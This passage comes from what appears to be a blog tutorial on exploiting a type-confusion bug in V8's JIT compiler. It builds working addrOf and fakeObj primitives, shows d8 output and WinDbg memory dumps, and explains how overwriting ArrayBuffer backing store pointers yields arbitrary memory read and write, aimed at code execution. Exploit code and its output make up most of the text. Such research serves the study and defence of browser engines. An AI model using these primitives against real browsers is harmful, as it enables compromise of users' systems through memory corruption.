<span class="nb">Number</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toBigInt</span> <span class="o">=</span> <span class="kd">function</span> <span class="nx">toBigInt</span><span class="p">()</span> <span class="p">{</span>
<span class="nx">floatView</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="k">this</span><span class="p">;</span>
<span class="k">return</span> <span class="nx">uint64View</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="p">};</span>
<span class="p">...</span>
<span class="kd">function</span> <span class="nx">addrOf</span><span class="p">()</span> <span class="p">{</span>
<span class="nb">eval</span><span class="p">(</span><span class="s2">`
function vuln(obj) {
obj.inline;
this.Object.create(obj);
// Trigger our type-confusion by accessing an out-of-bound property
// This will load p1 from our object thinking it's a Double, but instead
// due to overlap, it will load p2 which is an Object
return obj.p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2">.x;
}
`</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span><span class="na">z</span><span class="p">:</span> <span class="mi">1234</span><span class="p">};</span>
<span class="kd">let</span> <span class="nx">pValues</span> <span class="o">=</span> <span class="p">[];</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">p1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="na">x</span><span class="p">:</span> <span class="mf">13.37</span><span class="p">};</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">p2</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="na">y</span><span class="p">:</span> <span class="nx">obj</span><span class="p">};</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">10000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">res</span> <span class="o">=</span> <span class="nx">vuln</span><span class="p">(</span><span class="nx">makeObj</span><span class="p">(</span><span class="nx">pValues</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">res</span> <span class="o">!=</span> <span class="mf">13.37</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// Subtract 1n from address due to pointer tagging.</span>
<span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">toBigInt</span><span class="p">()</span> <span class="o">-</span> <span class="mi">1</span><span class="nx">n</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">throw</span> <span class="dl">"</span><span class="s2">[!] AddrOf Primitive Failed</span><span class="dl">"</span>
<span class="p">}</span>
</code></pre></div></div>
<h2 id="the-fakeobj-write-primitive">The <code class="language-plaintext highlighter-rouge">fakeObj</code> Write Primitive</h2>
<p>The <code class="language-plaintext highlighter-rouge">fakeObj</code> primitive, short for “Fake Object”, allows us to write data to essentially a fake object by exploiting our constructed type confusion. In essence, the write primitive is just the inverse of our <code class="language-plaintext highlighter-rouge">addrOf</code> primitive.</p>
<p>To create the <code class="language-plaintext highlighter-rouge">fakeObj</code> function, we simply make a small modification to the original <code class="language-plaintext highlighter-rouge">addrOf</code> function. In our <code class="language-plaintext highlighter-rouge">fakeObj</code> function, we store the original value of our object in a variable called <code class="language-plaintext highlighter-rouge">orig</code>. After we overwrite it, we return the original value and compare it in the JIT function.</p>
<p>For testing, we try to overwrite the <code class="language-plaintext highlighter-rouge">x</code> property of <code class="language-plaintext highlighter-rouge">p1</code> with the <code class="language-plaintext highlighter-rouge">0x41414141n</code> double. Due to the type confusion, this will overwrite the <code class="language-plaintext highlighter-rouge">y</code> property of our object in <code class="language-plaintext highlighter-rouge">p2</code> when the bug triggers in the JIT code. If we successfully corrupt the value and later return it via the <code class="language-plaintext highlighter-rouge">orig</code> parameter, it should no longer equal 13.37.</p>
<p>The <code class="language-plaintext highlighter-rouge">fakeObj</code> function will look like so:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">fakeObj</span><span class="p">()</span> <span class="p">{</span>
<span class="nb">eval</span><span class="p">(</span><span class="s2">`
function vuln(obj) {
obj.inline;
this.Object.create(obj);
let orig = obj.p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2">.x;
// Overwrite property x of p1, but due to type confusion
// we overwrite property y of p2
obj.p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2">.x = 0x41414141n;
return orig;
}
`</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span><span class="na">z</span><span class="p">:</span> <span class="mi">1234</span><span class="p">};</span>
<span class="kd">let</span> <span class="nx">pValues</span> <span class="o">=</span> <span class="p">[];</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">p1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="na">x</span><span class="p">:</span> <span class="mf">13.37</span><span class="p">};</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">p2</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="na">y</span><span class="p">:</span> <span class="nx">obj</span><span class="p">};</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">10000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">res</span> <span class="o">=</span> <span class="nx">vuln</span><span class="p">(</span><span class="nx">makeObj</span><span class="p">(</span><span class="nx">pValues</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">res</span> <span class="o">!=</span> <span class="mf">13.37</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="nx">res</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>After updating our code with the new <code class="language-plaintext highlighter-rouge">fakeObj</code> primitive, and executing it within d8, we should get output similar to the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\dev\v8\v8\out\x64.debug>d8 --allow-natives-syntax C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties...
[+] Properties p6 and p30 overlap!
[+] Leaking Object Address...
[+] Object Address: 0x21eacf99a08
[+] Corrupting Object Address...
[+] Leaked Data: 1094795585
</code></pre></div></div>
<p>It seems that we got some data back, and it doesn’t equal 13.37!</p>
<p>This looks to be an unsigned integer, so we can use the <code class="language-plaintext highlighter-rouge">uint64View</code> array buffer to store the value and then convert the bytes to hex, like so.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">d8</span><span class="o">></span> <span class="nx">uint64View</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1094795585</span><span class="nx">n</span>
<span class="nx">d8</span><span class="o">></span> <span class="nx">uint64View</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
<span class="dl">'</span><span class="s1">41414141</span><span class="dl">'</span>
</code></pre></div></div>
<p>And there we have it! We successfully overwrote the <code class="language-plaintext highlighter-rouge">y</code> property of <code class="language-plaintext highlighter-rouge">p2</code> and successfully constructed a valid write primitive!</p>
<p>This is a very powerful primitive as it allows us to write to essentially any object property that we can find the address of. From here we can start to build out more complex exploit primitives to eventually achieve code execution.</p>
<h1 id="gaining-memory-read--write">Gaining Memory Read + Write</h1>
<p>Now that we have created working read and write primitives from our bug, we can start to utilize these primitives to gain remote code execution within the interpreter. Currently we’ve only been able to overwrite the property of a second object with a controlled double. However, this isn’t useful for us by any means.</p>
<p>Reason being is that even though we can overwrite an object address within a property, if we attempt to access that address to write data, V8 will still attempt to dereference it and access the backing store pointer at offset 8 from that address. This makes it difficult for us to read or write to any address of our choosing.</p>
<p>To achieve something useful with our read and write primitives, we need to overwrite an internal field of an object, such as the backing store pointer, rather than an actual object or property within the backing store. As you know, the backing store pointer stores a memory address that tells V8 where our property or element array is located. If we can overwrite this pointer, we can tell V8 to access specific elements anywhere in memory via our bug!</p>
<p>The next thing we have to consider for this exploit is to decide on what type of object we want to use when corrupting the backing store pointer. Sure, we can use a simple object with out-of-line properties, but in our case, and for most browser exploits, we’ll actually utilize an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">ArrayBuffer</a> object.</p>
<p>The reason we use an <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> over a normal object is because these array buffers are used to represent a fixed-length raw binary data buffer. One important thing to note is that we cannot directly manipulate the contents of an <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> in JavaScript. Instead, we must use a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">TypedArray</a> or a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView">DataView</a> object with a specific data representation format, and use that to read and write the contents of the buffer.</p>
<p>We’ve previously used a <code class="language-plaintext highlighter-rouge">TypedArray</code> in our <code class="language-plaintext highlighter-rouge">addrOf</code> primitive to return our object’s address as a double floating point and then converted it to an unsigned 64-bit integer, which allowed us to then convert that value to hex to see the actual address. We can apply the same principle here for our <code class="language-plaintext highlighter-rouge">fakeObj</code> primitive by specifying the type of data we want to work with, i.e. integers, floats, 64-bit integers, etc. This way we can easily read and write data of whatever type we want, without worrying too much about conversions or the type of values our properties are.</p>
<p>Before we move on any further, let’s take a look at how <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> objects looks like in memory so we can better understand how to exploit them.</p>
<p>To start, let’s create a new <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> that will be 8 bytes in length and then assign that buffer an 8-bit unsigned view.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8> var buffer = new ArrayBuffer(8)
d8> var view = new Uint8Array(buffer)
</code></pre></div></div>
<p>Now, let’s use our <code class="language-plaintext highlighter-rouge">%DebugPrint</code> command to examine our buffer object.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8> %DebugPrint(buffer)
DebugPrint: 000002297C70D881: [JSArrayBuffer]
- map: 0x03b586384371 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x032f41990b21 <Object map = 000003B5863843C1>
- elements: 0x01d0a7902cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 00000286692101A0
- byte_length: 8
- neuterable
- properties: 0x01d0a7902cf1 <FixedArray[0]> {}
- embedder fields = {
0000000000000000
0000000000000000
}
</code></pre></div></div>
<p>As you can see, an <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> object is similar to other V8 objects, as it has a Map, a properties, and an elements fixed array, as well as the necessary properties for the array buffer itself, such as the byte length and its <strong>backing store.</strong> The backing store is the address where the TypedArray (in this case, the <code class="language-plaintext highlighter-rouge">view</code> variable) will read and write data to/from.</p>
<p>We can confirm the connection between the <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> and the <code class="language-plaintext highlighter-rouge">TypedArray</code> by using the <code class="language-plaintext highlighter-rouge">%DebugPrint</code> function on the <code class="language-plaintext highlighter-rouge">view</code> variable.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8> %DebugPrint(view)
DebugPrint: 000002297C70F791: [JSTypedArray]
- map: 0x03b586382b11 <Map(UINT8_ELEMENTS)> [FastProperties]
- prototype: 0x032f419879e1 <Object map = 000003B586382B61>
- elements: 0x02297c70f7d9 <FixedUint8Array[8]> [UINT8_ELEMENTS]
- embedder fields: 2
- buffer: 0x02297c70d881 <ArrayBuffer map = 000003B586384371>
- byte_offset: 0
- byte_length: 8
- length: 8
- properties: 0x01d0a7902cf1 <FixedArray[0]> {}
- elements: 0x02297c70f7d9 <FixedUint8Array[8]> {
0-7: 0
}
- embedder fields = {
0000000000000000
0000000000000000
}
</code></pre></div></div>
<p>As you can see, the <code class="language-plaintext highlighter-rouge">TypedArray</code> has a <strong>buffer</strong> property that points to our <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> at address <code class="language-plaintext highlighter-rouge">0x02297c70d881</code>. The <code class="language-plaintext highlighter-rouge">TypedArray</code> also inherits the byte length property from the parent <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> so it knows how much data it can read and write with its specific data format.</p>
<p>To better understand the structure and backing store of the array buffer object, we can use WinDbg to inspect it.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:005> dq 000002297C70D881-1 L6
00000229`7c70d880 000003b5`86384371 000001d0`a7902cf1
00000229`7c70d890 000001d0`a7902cf1 00000000`00000008
00000229`7c70d8a0 00000286`692101a0 00000000`00000002
</code></pre></div></div>
<p>Upon inspection, we can see that from the top left we have our Map, properties and elements array property store pointers, followed by the byte length, and finally the backing store pointer of address <code class="language-plaintext highlighter-rouge">00000286692101A0</code>, which is at offset 32 from the start of the array buffer.</p>
<p>Before we look into the backing store buffer, let’s add some data to our buffer to better see the representation in memory. To write data to the <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> we have to use our <code class="language-plaintext highlighter-rouge">TypedArray</code> via our <code class="language-plaintext highlighter-rouge">view</code> variable like so.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8> view[0] = 65
d8> view[2] = 66
</code></pre></div></div>
<p>Now that’s done, let’s view this backing store in WinDbg. Take note that I do not subtract 1 from the pointer since unlike other object backing stores, an <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> backing store is actually a 64-bit pointer!</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:005> dq 00000286692101A0 L6
00000286`692101a0 00000000`00420041 dddddddd`fdfdfdfd
00000286`692101b0 00000000`dddddddd 8c003200`1f678a43
00000286`692101c0 00000286`69d34e50 00000286`69d40230
</code></pre></div></div>
<p>Upon inspection of this memory address, we notice that in the top left we have our 8 bytes of data that we allocated for our array buffer. From the right, in index 0 we have <code class="language-plaintext highlighter-rouge">0x41</code> which is 65 and in index 2 we have <code class="language-plaintext highlighter-rouge">0x42</code> which is 66.</p>
<p>As you can see, using a <code class="language-plaintext highlighter-rouge">ArrayBuffer</code> with a <code class="language-plaintext highlighter-rouge">TypedArray</code> of any data type allows us to control where we can read and write data as long as we can control the backing store pointer!</p>
<p>With that in mind, let’s figure out how we can access this backing store pointer via our <code class="language-plaintext highlighter-rouge">fakeObj</code> primitive in order to overwrite it. Currently for both the read and write primitive we create an object for <code class="language-plaintext highlighter-rouge">p1</code> with one in-line property, and an object for <code class="language-plaintext highlighter-rouge">p2</code> which also has one in-line property.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">fakeObj</span><span class="p">()</span> <span class="p">{</span>
<span class="nb">eval</span><span class="p">(</span><span class="s2">`
function vuln(obj) {
obj.inline;
this.Object.create(obj);
let orig = obj.p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2">.x;
// Overwrite property x of p1, but due to type confusion
// we overwrite property y of p2
obj.p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2">.x = 0x41414141n;
return orig;
}
`</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span><span class="na">z</span><span class="p">:</span> <span class="mi">1234</span><span class="p">};</span>
<span class="kd">let</span> <span class="nx">pValues</span> <span class="o">=</span> <span class="p">[];</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">p1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="na">x</span><span class="p">:</span> <span class="mf">13.37</span><span class="p">};</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">p2</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="na">y</span><span class="p">:</span> <span class="nx">obj</span><span class="p">}</span>
<span class="p">...</span>
</code></pre></div></div>
<p>In the <code class="language-plaintext highlighter-rouge">vuln</code> function we attempt to overwrite property <code class="language-plaintext highlighter-rouge">x</code> for our <code class="language-plaintext highlighter-rouge">p1</code> object. This would dereference the object address for <code class="language-plaintext highlighter-rouge">p1</code> and access offset 24, where our <code class="language-plaintext highlighter-rouge">x</code> property value is stored in-line. However, due to the type confusion, this operation will actually dereference the object address of <code class="language-plaintext highlighter-rouge">p2</code> and access offset 24, where the <code class="language-plaintext highlighter-rouge">y</code> property value is stored in-line, which would allow us to overwrite the address of the <code class="language-plaintext highlighter-rouge">obj</code> object.</p>
<p>The example below is provided to help you visualize how this would look like in memory.</p>
<p align="center"><a href="/images/MemExample1.png"><img src="/images/MemExample1.png" /></a></p>
<p>We know that the backing store pointer for our array buffer is at offset 32, meaning that if we create another in-line property such as <code class="language-plaintext highlighter-rouge">x2</code>, then we should be able to access and overwrite that backing store pointer via our <code class="language-plaintext highlighter-rouge">fakeObj</code> primitive!</p>
<p>An example is provided below to help visualize this process in memory.</p>
<p align="center"><a href="/images/MemExample2.png"><img src="/images/MemExample2.png" /></a></p>
<p>This is great for us because it allows us to finally utilize our bug and our primitives to gain arbitrary memory read/write access. Although, there is one slight problem. Consider this. If we have to write or read from multiple memory locations, we’ll have to constantly trigger our bug and overwrite our array buffers backing store via the <code class="language-plaintext highlighter-rouge">fakeObj</code> primitive, which is tedious. As such, we need a better solution.</p>
<p>To minimize the number of times we have to use the <code class="language-plaintext highlighter-rouge">fakeObj</code> primitive to overwrite the backing store, we can use two array buffers objects instead of one! This way, we can corrupt the backing store pointer of our first array buffer and point it to our second array buffer object’s address.</p>
<p>Once that is completed, we can use a <code class="language-plaintext highlighter-rouge">TypedArray</code> view of our first array buffer to write to the 5th object property (4th index, i.e. <code class="language-plaintext highlighter-rouge">view1[4]</code>), which will overwrite the backing store pointer of the second array buffer. From there, we can use a <code class="language-plaintext highlighter-rouge">TypedArray</code> view of the second array buffer to read and write data to/from the pointed memory region!</p>
<p>By using these two array buffers together, we can create another exploit primitive that allows us to quickly read and write data of any type to any location within the V8 heap.</p>
<p>An example of how this would look like in memory can be seen below.</p>
<p align="center"><a href="/images/MemExample3.png"><img src="/images/MemExample3.png" /></a></p>
<p>To make our <code class="language-plaintext highlighter-rouge">fakeObj</code> function more flexible, we will modify it to accept an object of our choice. We’ll also pass in a <code class="language-plaintext highlighter-rouge">newValue</code> parameter that specifies the data we want to write. We’ll then set that <code class="language-plaintext highlighter-rouge">newValue</code> parameter for the <code class="language-plaintext highlighter-rouge">x</code> property within the <code class="language-plaintext highlighter-rouge">vuln</code> function instead of having our hardcoded address of <code class="language-plaintext highlighter-rouge">0x41414141n</code>.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">fakeObj</span><span class="p">(</span><span class="nx">obj</span><span class="p">,</span> <span class="nx">newValue</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">eval</span><span class="p">(</span><span class="s2">`
function vuln(obj) {
obj.inline;
this.Object.create(obj);
let orig = obj.p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2">.x;
obj.p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2">.x = $(newValue);
return orig;
}
`</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">pValues</span> <span class="o">=</span> <span class="p">[];</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">p1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="na">x</span><span class="p">:</span> <span class="mf">13.37</span><span class="p">};</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">p2</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="na">y</span><span class="p">:</span> <span class="nx">obj</span><span class="p">};</span>
<span class="p">...</span>
</code></pre></div></div>
<p>We will also modify the object within <code class="language-plaintext highlighter-rouge">p1</code> to have two in-line properties, since we know that the second in-line property overlaps the backing store pointer. Additionally, we need to modify the <code class="language-plaintext highlighter-rouge">vuln</code> function to access the second inline property so we can write to the backing store pointer.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">BigInt</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toNumber</span> <span class="o">=</span> <span class="kd">function</span> <span class="nx">toNumber</span><span class="p">()</span> <span class="p">{</span>
<span class="nx">uint64View</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="k">this</span><span class="p">;</span>
<span class="k">return</span> <span class="nx">floatView</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="p">};</span>
<span class="kd">function</span> <span class="nx">fakeObj</span><span class="p">(</span><span class="nx">obj</span><span class="p">,</span> <span class="nx">newValue</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">eval</span><span class="p">(</span><span class="s2">`
function vuln(obj) {
obj.inline;
this.Object.create(obj);
// Write to Backing Store Pointer via Property x2
let orig = obj.p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2">.x2;
obj.p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2">.x2 = </span><span class="p">${</span><span class="nx">newValue</span><span class="p">}</span><span class="s2">;
return orig;
}
`</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">pValues</span> <span class="o">=</span> <span class="p">[];</span>
<span class="c1">// x2 Property Overlaps Backing Store Pointer for Array Buffer</span>
<span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">x1</span><span class="p">:</span> <span class="mf">13.37</span><span class="p">,</span> <span class="na">x2</span><span class="p">:</span> <span class="mf">13.38</span><span class="p">};</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">p1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">o</span><span class="p">;</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">p2</span><span class="p">]</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">;</span>
<span class="p">...</span>
</code></pre></div></div>
<p>Notice that for our overlapping <code class="language-plaintext highlighter-rouge">p2</code> object, we set it directly to the passed in <code class="language-plaintext highlighter-rouge">obj</code>. The reason we do this is because we need to access offset 32 of that specific object, instead of passing the object in as a property.</p>
<p>To properly convert the address or data we are passing in, we will add a new conversion function called <code class="language-plaintext highlighter-rouge">toNumber</code> and call that against our <code class="language-plaintext highlighter-rouge">newValue</code> parameter. This function is necessary as we need to convert the address or data that we are passing in, to be that of a float. The reason for this is due to our constructed type confusion and the fact that <code class="language-plaintext highlighter-rouge">p1</code> expects a float!</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">BigInt</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toNumber</span> <span class="o">=</span> <span class="kd">function</span> <span class="nx">toNumber</span><span class="p">()</span> <span class="p">{</span>
<span class="nx">uint64View</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="k">this</span><span class="p">;</span>
<span class="k">return</span> <span class="nx">floatView</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="p">};</span>
<span class="kd">function</span> <span class="nx">fakeObj</span><span class="p">(</span><span class="nx">obj</span><span class="p">,</span> <span class="nx">newValue</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">eval</span><span class="p">(</span><span class="s2">`
function vuln(obj) {
obj.inline;
this.Object.create(obj);
// Write to Backing Store Pointer via Property x2
let orig = obj.p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2">.x2;
obj.p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2">.x2 = </span><span class="p">${</span><span class="nx">newValue</span><span class="p">.</span><span class="nx">toNumber</span><span class="p">()}</span><span class="s2">;
return orig;
}
`</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">pValues</span> <span class="o">=</span> <span class="p">[];</span>
<span class="c1">// x2 Property Overlaps Backing Store Pointer for Array Buffer</span>
<span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">x1</span><span class="p">:</span> <span class="mf">13.37</span><span class="p">,</span> <span class="na">x2</span><span class="p">:</span> <span class="mf">13.38</span><span class="p">};</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">p1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">o</span><span class="p">;</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">p2</span><span class="p">]</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">;</span>
<span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Now comes the important part, modifying our JIT loop to trigger the bug and overwrite our backing store pointer. Similar to our previous <code class="language-plaintext highlighter-rouge">fakeObj</code> loop there are only a few modifications we need to make.</p>
<p>First of all, take note from above that we set the <code class="language-plaintext highlighter-rouge">p1</code> property to a newly created object called <code class="language-plaintext highlighter-rouge">o</code> with two in-line properties. The reason we are doing this is because during our JIT loop we will need to constantly set the 2nd in-line property attribute of <code class="language-plaintext highlighter-rouge">o</code> to force the JIT compiler to trigger a redundancy elimination on our Map. This will allow us to access the backing store pointer as a float. If we don’t do this, then the function will not work!</p>
<p>Second of all, within the JIT loop, we will no longer compare the result value to 13.37. Instead, we will compare it to the value of our second property. In this case, if the loop no longer returns 13.38, it means that we successfully triggered the bug and overwrote the backing store pointer!</p>
<p>The final version of the <code class="language-plaintext highlighter-rouge">fakeObj</code> primitive will look like so.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">BigInt</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">toNumber</span> <span class="o">=</span> <span class="kd">function</span> <span class="nx">toNumber</span><span class="p">()</span> <span class="p">{</span>
<span class="nx">uint64View</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="k">this</span><span class="p">;</span>
<span class="k">return</span> <span class="nx">floatView</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="p">};</span>
<span class="kd">function</span> <span class="nx">fakeObj</span><span class="p">(</span><span class="nx">obj</span><span class="p">,</span> <span class="nx">newValue</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">eval</span><span class="p">(</span><span class="s2">`
function vuln(obj) {
obj.inline;
this.Object.create(obj);
// Write to Backing Store Pointer via Property x2
let orig = obj.p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2">.x2;
obj.p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2">.x2 = </span><span class="p">${</span><span class="nx">newValue</span><span class="p">.</span><span class="nx">toNumber</span><span class="p">()}</span><span class="s2">;
return orig;
}
`</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">pValues</span> <span class="o">=</span> <span class="p">[];</span>
<span class="c1">// x2 Property Overlaps Backing Store Pointer for Array Buffer</span>
<span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">x1</span><span class="p">:</span> <span class="mf">13.37</span><span class="p">,</span><span class="na">x2</span><span class="p">:</span> <span class="mf">13.38</span><span class="p">};</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">p1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">o</span><span class="p">;</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">p2</span><span class="p">]</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">10000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// Force Map Check and Redundency Elimination</span>
<span class="nx">o</span><span class="p">.</span><span class="nx">x2</span> <span class="o">=</span> <span class="mf">13.38</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">res</span> <span class="o">=</span> <span class="nx">vuln</span><span class="p">(</span><span class="nx">makeObj</span><span class="p">(</span><span class="nx">pValues</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">res</span> <span class="o">!=</span> <span class="mf">13.38</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">toBigInt</span><span class="p">();</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">throw</span> <span class="dl">"</span><span class="s2">[!] fakeObj Primitive Failed</span><span class="dl">"</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Now that we finished that, since we’ll be using an object with two in-line properties for our <code class="language-plaintext highlighter-rouge">fakeObj</code> primitive, let’s make the same modification for our <code class="language-plaintext highlighter-rouge">addrOf</code> primitive to stay consistent, like so.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">addrOf</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">eval</span><span class="p">(</span><span class="s2">`
function vuln(obj) {
obj.inline;
this.Object.create(obj);
// Trigger our type-confusion by accessing an out-of-bound property
// This will load p1 from our object thinking it's a Double, but instead
// due to overlap, it will load p2 which is an Object
return obj.p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2">.x2;
}
`</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">pValues</span> <span class="o">=</span> <span class="p">[];</span>
<span class="c1">// x2 Property Overlaps Backing Store Pointer for Array Buffer</span>
